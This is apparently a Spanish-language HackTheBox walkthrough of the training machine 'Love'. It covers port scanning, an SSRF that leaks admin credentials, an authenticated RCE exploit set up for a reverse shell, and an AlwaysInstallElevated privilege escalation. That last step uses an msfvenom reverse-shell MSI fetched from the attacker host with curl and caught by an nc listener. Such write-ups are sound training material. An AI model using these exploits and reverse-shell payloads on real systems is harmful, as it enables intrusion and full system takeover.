Love

Publicado: 16 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Love es una máquina Windows de dificultad fácil de HackTheBox que presenta un sistema de votación PHP vulnerable. La explotación inicial se basa en el Server-Side Request Forgery (SSRF) para acceder a servicios internos y obtener credenciales de administrador. Una vez autenticados, se explota una vulnerabilidad de ejecución remota de código (RCE) en el sistema de votación para ganar acceso inicial. La escalada de privilegios se logra abusando de la política de Windows "AlwaysInstallElevated" para ejecutar instaladores MSI con privilegios de SYSTEM.
🎯 Información de la Máquina
IP
10.10.10.239
SO
Windows 10 Pro 19042
Servicios principales
HTTP (80), HTTPS (443), MySQL (3306), WinRM (5985/5986)
Dominios
staging.love.htb, love.htb
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.10.239
PING 10.10.10.239 (10.10.10.239) 56(84) bytes of data.
64 bytes from 10.10.10.239: icmp_seq=1 ttl=127 time=45.5 ms
64 bytes from 10.10.10.239: icmp_seq=2 ttl=127 time=43.6 ms
--- 10.10.10.239 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 43.631/44.570/45.510/0.939 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🔍 Escaneo de puertos TCP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.239 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670
🛠️ Enumeración de servicios
❯ nmap -sC -sV -p$ports 10.10.10.239 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 15:10 CEST
Stats: 0:01:24 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 94.74% done; ETC: 15:11 (0:00:05 remaining)
Stats: 0:02:17 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 94.74% done; ETC: 15:12 (0:00:08 remaining)
Nmap scan report for 10.10.10.239
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_ssl-date: TLS randomness does not represent time
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2025-06-16T13:34:49+00:00; +21m34s from scanner time.
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-06-16T13:34:35
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-06-16T06:34:36-07:00
|_clock-skew: mean: 2h06m34s, deviation: 3h30m01s, median: 21m33s
🌐 Configuración de hosts
En el puerto 443 el nmap nos devuelve el nombre del dominio, el cual es staging.love.htb
.
echo "10.10.10.239 staging.love.htb" | sudo tee -a /etc/hosts
🌐 Enumeración Web
🖥️ Puerto 80 HTTP (http://10.10.10.239/)
A priori no vemos gran cosa salvo un panel de login de lo que parece ser una aplicación para un sistema de votación:

Vemos que para autenticarnos necesitamos un ID de votante y una contraseña.
🔎 Fuzzing de directorios - Puerto 80
Usamos dirsearch para realizar fuzzing de directorios y ver si encontramos algunos recursos interesantes que analizar a nuestro scope:
dirsearch -u http://10.10.10.239 -x 503,404,403
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25
Wordlist size: 12289
Target: http://10.10.10.239/
[15:17:23] Scanning:
[15:17:29] 301 - 337B - /ADMIN -> http://10.10.10.239/ADMIN/
[15:17:29] 301 - 337B - /Admin -> http://10.10.10.239/Admin/
[15:17:29] 301 - 337B - /admin -> http://10.10.10.239/admin/
[15:17:29] 200 - 6KB - /admin%20/
[15:17:30] 301 - 338B - /admin. -> http://10.10.10.239/admin./
[15:17:30] 200 - 6KB - /Admin/
[15:17:30] 200 - 6KB - /admin/
[15:17:30] 200 - 6KB - /admin/index.php
[15:17:31] 302 - 16KB - /admin/home.php -> index.php
[15:17:31] 302 - 0B - /admin/login.php -> index.php
[15:17:35] 301 - 348B - /bower_components -> http://10.10.10.239/bower_components/
[15:17:36] 200 - 7KB - /bower_components/
[15:17:36] 500 - 636B - /cgi-bin/printenv.pl
[15:17:38] 301 - 336B - /dist -> http://10.10.10.239/dist/
[15:17:38] 200 - 1KB - /dist/
[15:17:41] 302 - 0B - /home.php -> index.php
[15:17:42] 301 - 338B - /images -> http://10.10.10.239/images/
[15:17:42] 200 - 2KB - /images/
[15:17:42] 200 - 2KB - /includes/
[15:17:42] 301 - 340B - /includes -> http://10.10.10.239/includes/
[15:17:42] 200 - 4KB - /index.php
[15:17:42] 200 - 4KB - /index.pHp
[15:17:42] 200 - 4KB - /index.php.
[15:17:42] 200 - 4KB - /index.php/login/
[15:17:44] 302 - 0B - /login.php -> index.php
[15:17:44] 302 - 0B - /logout.php -> index.php
[15:17:48] 301 - 339B - /plugins -> http://10.10.10.239/plugins/
[15:17:48] 200 - 2KB - /plugins/
### 🔐 Puerto 443 HTTPS (staging.love.htb)
Al acceder al dominio staging.love.htb
encontramos una aplicación web diferente.

🔍 Fuzzing de directorios - Puerto 443
feroxbuster -u http://staging.love.htb/ -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings -C 503 -x php,xml,asp,aspx
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://staging.love.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
💢 Status Code Filters │ [503]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
📂 Scan Dir Listings │ true
💲 Extensions │ [php, xml, asp, aspx]
🏁 HTTP methods │ [GET]
📍 Follow Redirects │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 30w 306c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 33w 303c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 192l 404w 5357c http://staging.love.htb/index.php
200 GET 54l 182w 2370c http://staging.love.htb/font.css
200 GET 212l 392w 4997c http://staging.love.htb/beta.php
200 GET 1l 3527w 204030c http://staging.love.htb/style.css
200 GET 192l 404w 5357c http://staging.love.htb/
200 GET 192l 404w 5357c http://staging.love.htb/Index.php
403 GET 11l 47w 425c http://staging.love.htb/licenses
200 GET 192l 404w 5357c http://staging.love.htb/INDEX.php
200 GET 212l 392w 4997c http://staging.love.htb/Beta.php
🚨 Explotación - SSRF (Server-Side Request Forgery)
🔍 Descubrimiento de vulnerabilidad SSRF
Vemos algo interesante a la hora de acceder a la opción "Demo" y nos dirige al recurso beta.php
. Nos pide introducir una URL con el sitio que queremos analizar para ver si tiene malware.

🧪 Prueba de concepto SSRF
Primero verificamos si podemos alcanzar nuestro host de ataque iniciando un servidor web en Python y haciendo una petición.

Luego probamos si podemos acceder a servicios internos referenciando la dirección IP de la propia máquina hacia el puerto 5000:
URL probada: http://127.0.0.1:5000

Al explotar la vulnerabilidad SSRF, encontramos unas credenciales que parecen ser para el panel de administrador:

Credenciales obtenidas: admin:@LoveIsInTheAir!!!!
💥 Explotación - RCE en Voting System
🔍 Identificación del software
El panel de administración pertenece a una aplicación llamada Sourcecodester Voting System.

🕵️ Búsqueda de exploits
Buscamos exploits públicos para el software Voting System 1.0: Parece que el panel pertenece a una aplicación llamada sourcecodester
searchsploit Voting System 1.0

Encontramos un exploit que permite RCE autenticada, perfecto para nuestras credenciales obtenidas.
⚙️ Configuración del exploit
searchsploit -m php/webapps/49846.txt
Deberemos editar los parámetros relacionados con la IP y el puerto del servicio donde se encuentra el aplicativo así como los relacionados con la IP y el puerto donde recibiremos la shell reversa.
Tambien debemos adaptar los parámetros INDEX_PAGE, LOGIN_URL, VOTE_URL y CALL_SHELL para que la ruta corresponda con la del aplicativo, ya que por ejemplo el /votesystem/ no existe en la aplicación que estamos tratando de explotar:
La configuración quedaría de esta forma:
# --- Edit your settings here ----
IP = "10.10.10.239" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.7" # Reverse shell IP
REV_PORT = "443" # Reverse port
# --------------------------------
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"
🎯 Ejecución del exploit
python3 49445.py
🚪 Acceso inicial obtenido
Una vez lanzado el exploit recibimos la reverse shell ganando acceso como usuario phoebe.

Una vez dentro revisamos el directorio Desktop del usuario Phoebe para obtener la primera flag:
C:\Users\Phoebe\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30
Directory of C:\Users\Phoebe\Desktop
04/13/2021 03:20 AM <DIR> .
04/13/2021 03:20 AM <DIR> ..
06/16/2025 06:28 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 4,058,107,904 bytes free
## 🚀 Escalada de privilegios
🔍 Enumeración de privilegios
Comenzamos a enumerar y realizar comprobaciones en busca de una vía potencial para la escalada de privilegios y encontramos que AlwaysInstallElevated está activo.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
📋 ¿Qué es AlwaysInstallElevated?
Cuando AlwaysInstallElevated está habilitada (0x1
), permite que los archivos .msi
(Microsoft Installer) se ejecuten con privilegios de administrador, incluso si el usuario no tiene derechos administrativos.
🛠️ Generación del payload malicioso
Para abusar de esto y escalar privilegios podemos:
Generar un payload msi con el que ganar una reverse shell de altos privilegios
Usar el script powerup para cargar el módulo y añadir un usuario nuevo al sistema.
En este caso que vamos a optar por generar un payload con msvenom de la siguiente forma:
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.7 lport=443 -f msi > aie.msi
Lo transferimos al host Windows usando un servidor web en python y usando curl:
python3 -m http.server 80
PS C:\Temp\Privesc> curl http://10.10.14.7/aie.msi -o aie.msi
Ahora iniciamos un listener donde recibiremos la reverse shell con privilegios NT system
rlwrap nc -lnvp 443
👑 Root Flag
Ejecutamos el binario y recibimos la reverse shell de altos privilegios
PS C:\Temp\Privesc> ./aie.msi

Ya podemos obtener la flag root.txt
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30
Directory of C:\Users\Administrator\Desktop
04/13/2021 03:20 AM <DIR> .
04/13/2021 03:20 AM <DIR> ..
06/16/2025 06:28 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 4,047,945,728 bytes free
Last updated